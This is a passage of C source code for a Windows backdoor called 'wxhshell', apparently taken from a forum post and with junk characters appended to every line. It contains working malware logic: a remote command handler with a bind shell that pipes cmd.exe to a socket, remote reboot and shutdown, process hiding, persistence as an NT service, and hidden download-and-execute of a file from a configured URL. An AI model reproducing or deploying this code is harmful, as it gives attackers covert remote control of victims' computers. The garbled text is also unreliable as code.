  } Iy';x  
  else { <xo-Fv  
*/z??fI27  
    switch(cmd[0]) { 06 i;T~Y  
  N2ied^* 0  
  // 帮助 Z o=]dBp.  
  case '?': { TJ(K3/)Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7AwgJb hn  
    break; (gwj)?:  
  } "0CjP+1k  
  // 安装  rkB'Hf  
  case 'i': { oFDz;6  
    if(Install()) ";x+1R.d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tnz+bX26  
    else Ub_4yN;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e)H!uR  
    break; -)jax  
    } c>HK9z{  
  // 卸载 \, &9  
  case 'r': { Pf <[|yu4?  
    if(Uninstall()) oH#v6{y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pm+tQ  
    else kM/Te{<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EpYy3^5d  
    break; 3QXjD/h  
    } HN6}R|IH  
  // 显示 wxhshell 所在路径 >9H@|[C  
  case 'p': { +9XQ[57  
    char svExeFile[MAX_PATH]; :7g=b%;  
    strcpy(svExeFile,"\n\r"); T6#CK  
      strcat(svExeFile,ExeFile); WC,+Cn e  
        send(wsh,svExeFile,strlen(svExeFile),0); ?wb+L  
    break; f )Z%pgB  
    } t<j^q`;@v  
  // 重启 Sv'y e  
  case 'b': { l"(6]Z 4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e`K)_>^n#  
    if(Boot(REBOOT)) Zg~nlO2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lFSe?X^  
    else { p|+B3  
    closesocket(wsh); $t~@xCi]S  
    ExitThread(0); ememce,Np  
    } l;A,0,i  
    break; p\p\q(S">  
    } l?8M p$M  
  // 关机 5J2=`=FK  
  case 'd': { Ge+0-I6Ju  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )$ Mmn  
    if(Boot(SHUTDOWN)) B,WTHU[AV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oakb'  
    else { $wB^R(f@  
    closesocket(wsh); bFS>)  
    ExitThread(0); Bux [6O %  
    } d[D&J  
    break; S6d`ioi-  
    } 7nU6k%_%  
  // 获取shell uC3:7  
  case 's': { SOZPZUUEJ  
    CmdShell(wsh); %dST6$Z  
    closesocket(wsh); & fC!(Oy  
    ExitThread(0); ao" %WX  
    break; Sh6JF574T  
  } :1ecx$  
  // 退出 :}:3i9e*2  
  case 'x': { mmXm\]r>4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V/d/L3p  
    CloseIt(wsh); AK!hK>u`  
    break; }n_p$g[Nj/  
    } ;Q;[*B=kE  
  // 离开 wC_l@7 t  
  case 'q': { epHJ@W@#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ulFzZHJ  
    closesocket(wsh); +!IQj0&'Y3  
    WSACleanup(); @Ky> 9m{  
    exit(1); '*^yAlgtt  
    break; /iC;%r1L  
        } N==ZtKj F  
  } /cr}N%HZB  
  } Ys+OB*8AE  
}R[#?ty;]  
  // 提示信息 $?G"GQ!.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m([(:.X/IX  
} =J-5.0Q\_\  
  } ]uj=:@  
&3F}6W6A  
  return; OO dSKf8  
} L4u;|-znw  
{5r0v#;  
// shell模块句柄 >T2LEW  
int CmdShell(SOCKET sock) E/&Rb*3  
{ @ V08U!  
STARTUPINFO si; 9Jf)!o8  
ZeroMemory(&si,sizeof(si)); i,A#&YDl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; le+R16Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0P^L}VVX  
PROCESS_INFORMATION ProcessInfo; u]NZ`t%AP  
char cmdline[]="cmd"; D\w h;r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {rfF'@[  
  return 0; DS-0gVYeDW  
} ?[<Tx-L  
j"^ +oxH  
// 自身启动模式 }8|[;Qa`y  
int StartFromService(void) /={Js*  
{ j*"3t^|-  
typedef struct &8&d3EQ  
{ .:p2Tbo  
  DWORD ExitStatus; vb 1@yQ  
  DWORD PebBaseAddress; Z=B_Ty  
  DWORD AffinityMask; FGO[ |]7IN  
  DWORD BasePriority; b`yZ|j'ikd  
  ULONG UniqueProcessId; SK1!thQy  
  ULONG InheritedFromUniqueProcessId; DFhXx6]  
}   PROCESS_BASIC_INFORMATION; |Fm6#1A@  
BqDKT  
PROCNTQSIP NtQueryInformationProcess; dkgSvi :!  
YprH wL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }+o:j'jB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MV_Srz  
dY?`f<*  
  HANDLE             hProcess; }bN%u3mHws  
  PROCESS_BASIC_INFORMATION pbi; c4&'D;=  
73{'k K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q9}dHIe1E  
  if(NULL == hInst ) return 0; f/WQ[\<!I  
iGB_{F~t4}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T=hho Gn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dm-pxE "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); />'V!iWyz  
;.xoN|Per  
  if (!NtQueryInformationProcess) return 0; J q{7R  
b'MSkEiQG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wg{k$T_>  
  if(!hProcess) return 0; Go,N>HN  
ReiB $y6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 26X+ }^52  
m)V/L]4  
  CloseHandle(hProcess); f\'{3I29  
}:0uo5 B7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (feTk72XX  
if(hProcess==NULL) return 0; '$4O!YI9@  
G} eUL|S  
HMODULE hMod; 8WE{5#oi  
char procName[255]; 0 a]/%y3V  
unsigned long cbNeeded; ~~/xR s  
^c~)/F/cF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LjL[V'JL  
%WqNiF0-  
  CloseHandle(hProcess); {`2R,Jb%S  
E?(xb B  
if(strstr(procName,"services")) return 1; // 以服务启动 H|cNH=  
85 EQ5yY  
  return 0; // 注册表启动 #%J5\+ua  
} OD' ]:  
$$:ZX  
// 主模块 $/6;9d^  
int StartWxhshell(LPSTR lpCmdLine) BCe_@  
{ G'YH6x,  
  SOCKET wsl; omWJJ|b~  
BOOL val=TRUE; w9 w%&{j  
  int port=0; u77E! z4Uz  
  struct sockaddr_in door; XLMb=T~S  
s1|/S\   
  if(wscfg.ws_autoins) Install(); q+B&orp  
!`!| Zw  
port=atoi(lpCmdLine); ==i[w|  
XqM3<~$  
if(port<=0) port=wscfg.ws_port; cYXM__  
/1?R?N2>0  
  WSADATA data; -hC,e/+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r`c_e)STO  
>0p$(>N]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x `V;Y]7'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y(.OF Q  
  door.sin_family = AF_INET; 3\T2?w9u(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g$. \  
  door.sin_port = htons(port); @( n^T  
~4q5 k5.,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =] 3tUD  
closesocket(wsl); bc , p }  
return 1; D&HV6#  
} i#%aTRKHd6  
s1?[7yC  
  if(listen(wsl,2) == INVALID_SOCKET) { p4p@^@<>X  
closesocket(wsl); ~b {Gz6u>  
return 1; mS k5u7  
} lO2[JP  
  Wxhshell(wsl); E^U0f/5 m  
  WSACleanup(); sB69R:U;  
y4+ ;z2' >  
return 0; RpLE 02U  
|yo\R{&6  
} e.c3nKXZ q  
KR7@[  
// 以NT服务方式启动 K'#E3={tt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p&VU0[LIC0  
{ \QU^>2 3  
DWORD   status = 0; Xl74@wq   
  DWORD   specificError = 0xfffffff; Ts~L:3oaQ  
$ cj>2.   
  serviceStatus.dwServiceType     = SERVICE_WIN32; `K ,1K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G\NPV'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  *.)tG  
  serviceStatus.dwWin32ExitCode     = 0; 9W5onn  
  serviceStatus.dwServiceSpecificExitCode = 0; t43)F9!  
  serviceStatus.dwCheckPoint       = 0; <3,<\ub  
  serviceStatus.dwWaitHint       = 0; %X9r_Hx  
qC'{;ko  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _HhbIU  
  if (hServiceStatusHandle==0) return; " vtCTl~t  
NH_<q"gT  
status = GetLastError(); !nAX$i~  
  if (status!=NO_ERROR) ? `J[[",  
{ ~}Rj$%_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r H~" 4  
    serviceStatus.dwCheckPoint       = 0; [ @4rjGwB  
    serviceStatus.dwWaitHint       = 0; HYmn:?H  
    serviceStatus.dwWin32ExitCode     = status; <V>dM4Mkr  
    serviceStatus.dwServiceSpecificExitCode = specificError; UwC=1g U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _#vrb;.+  
    return; Xy%p"b<  
  } imiR/V>N  
7 I>G{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; epgPT'^  
  serviceStatus.dwCheckPoint       = 0; WOh|U4vt  
  serviceStatus.dwWaitHint       = 0; )& u5IA(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -(K9s!C!.  
} ~)(\6^&=|  
vOg#Dqn-  
// 处理NT服务事件,比如:启动、停止 ,]T2$?|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'w1YFdW  
{ E@Ad'_H  
switch(fdwControl) tnLAJ+ -M  
{ F`9]=T0  
case SERVICE_CONTROL_STOP: U!Ek'  
  serviceStatus.dwWin32ExitCode = 0; |^@dFOz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ul*Qt}  
  serviceStatus.dwCheckPoint   = 0; )Pv9_XKJ  
  serviceStatus.dwWaitHint     = 0; 2h%z ("3/  
  { @O[5M2|r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YtO|D  
  } H*9~yT' Q  
  return; r [ K5w  
case SERVICE_CONTROL_PAUSE: MX+ Z ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |\n_OS 7  
  break; w|Nz_3tI  
case SERVICE_CONTROL_CONTINUE: In[Cr/&/Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #h/Mbj~S  
  break; O`vTnrY  
case SERVICE_CONTROL_INTERROGATE: Zkf0p9h\  
  break; DfKr[cqLM  
}; `7H4Y&E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yeHDa+}  
} VWO9=A*Y|  
@_z4tUP  
// 标准应用程序主函数 ;,]P=Ey  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~RWktv  
{ MMj9{ou  
,*7d  
// 获取操作系统版本 ;D$)P7k6  
OsIsNt=GetOsVer(); _2N$LLbg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `UBYp p  
wgw(YU  
  // 从命令行安装 im @h -A]0  
  if(strpbrk(lpCmdLine,"iI")) Install(); L QjsOo  
yBI'djL~>  
  // 下载执行文件 T*KMksjxm`  
if(wscfg.ws_downexe) { 7k8pZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5# K4bA  
  WinExec(wscfg.ws_filenam,SW_HIDE); %AQIGBcgL  
} $1v&azM.  
J(6oL   
if(!OsIsNt) { L5,NP5RC  
// 如果时win9x,隐藏进程并且设置为注册表启动 P@FHnh3}Z$  
HideProc(); DY^;EZ!hb  
StartWxhshell(lpCmdLine); AFAAuFE"  
} QV\eMuNy  
else ` Jdb;  
  if(StartFromService()) ~s5SZK*  
  // 以服务方式启动 RSo& (Uv  
  StartServiceCtrlDispatcher(DispatchTable); %plo=RF  
else <n#DT  
  // 普通方式启动 *BR^U$,e  
  StartWxhshell(lpCmdLine); 1/"WD?a  
rdJR 2  
return 0; s-v  
}
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只看该作者 1 发表于: 2006-10-10
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